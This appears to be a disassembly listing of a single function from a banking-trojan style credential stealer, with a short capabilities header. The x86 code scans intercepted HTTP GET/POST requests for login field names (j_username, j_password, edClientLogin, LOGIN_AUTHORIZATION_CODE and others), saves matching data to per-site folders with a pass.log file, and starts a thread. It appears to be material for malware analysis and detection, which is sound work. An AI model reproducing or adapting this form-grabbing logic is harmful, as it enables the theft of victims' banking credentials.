Function at 0x1000c8f0
Capabilities:
Create directory
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x103
mov ebx, eax
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test ebx, ebx
je 0x1000cece
test esi, esi
je 0x1000cece
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000cece
lea ecx, [esi + 1]
call fcn.100098a0
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x1000cece
push esi
push ebx
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
push edi
call fcn.10011710
cmp esi, 4
jbe 0x1000cec6
mov eax, dword [edi]
cmp eax, 0x20544547
je 0x1000c98e
cmp eax, 0x54534f50
jne 0x1000cec6
mov ecx, edi
cmp byte [ecx + 4], 0x20
jne 0x1000cec6
call fcn.10011960
push edi
call fcn.10014050
push edi
call fcn.10015de0
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.j_username
push edi
call esi
test eax, eax
je 0x1000ca5d
push str.j_password
push edi
call esi
test eax, eax
je 0x1000ca5d
xor eax, eax
jmp 0x1000c9d0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000c9d0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10021ff0
call ebx
mov eax, 0x10021ff0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000c9f6
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000ca08
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x110]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10021ff0
call ebx
push 0x10021ff0
call fcn.100018c0
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ca50
jmp 0x1000cca8
push str.commandauth_loginByPasswordback_commandback_custom1
push edi
call esi
test eax, eax
je 0x1000cafd
xor eax, eax
nop
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000ca70
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x100220f4
call ebx
mov eax, 0x100220f4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000ca96
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000caa8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
push ecx
call ebx
push 0x100220f4
call ebx
push 0x100220f4
call fcn.100018c0
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000caf0
jmp 0x1000cca8
push str.edClientLogin
push edi
call esi
test eax, eax
je 0x1000cc01
push str.edUserLogin
push edi
call esi
test eax, eax
je 0x1000cc01
push str.edPassword
push edi
call esi
test eax, eax
je 0x1000cc01
xor eax, eax
nop
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000cb30
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022400
call ebx
mov eax, 0x10022400
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000cb56
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000cb68
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
push ecx
call ebx
push 0x10022400
call ebx
push 0x10022400
call fcn.100018c0
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000cbb0
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x110]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 8]
push eax
lea eax, [ebp - 0x110]
call fcn.10003f60
push 0
push 0
push 0
push 0x10012000
jmp 0x1000ceb1
push str.LOGIN_AUTHORIZATION_CODE
push edi
call esi
test eax, eax
je 0x1000ccf2
xor eax, eax
jmp 0x1000cc20
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000cc20
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022504
call ebx
mov eax, 0x10022504
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000cc46
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000cc58
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
push ecx
call ebx
push 0x10022504
call ebx
push 0x10022504
call fcn.100018c0
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000cca0
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x110]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 8]
push eax
lea eax, [ebp - 0x110]
call fcn.10003f60
mov esi, dword [ebp - 4]
call fcn.100098e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.actionauthnplogin
push edi
call esi
test eax, eax
je 0x1000cdd7
xor eax, eax
jmp 0x1000cd10
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000cd10
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1002270c
call ebx
mov eax, 0x1002270c
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000cd36
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000cd48
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1002270c
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x1002270c
call fcn.100018c0
push 0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000cd85
mov edx, dword [str.pass.log]
mov ecx, dword [0x1001c5c0]
mov dword [eax], edx
mov dl, byte [0x1001c5c4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x110]
call fcn.10003f60
mov esi, dword [ebp - 4]
call fcn.100098e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.CryptoPluginIdAGAVASign
push edi
call esi
test eax, eax
je 0x1000cec6
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000cdf0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022f2c
call ebx
mov eax, 0x10022f2c
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000ce16
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000ce28
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10022f2c
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10022f2c
call fcn.100018c0
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000ce65
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x110]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 8]
push eax
lea eax, [ebp - 0x110]
call fcn.10003f60
push 0
push 0
push 0
push 0x10015040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000cec6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 4]
call fcn.100098e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4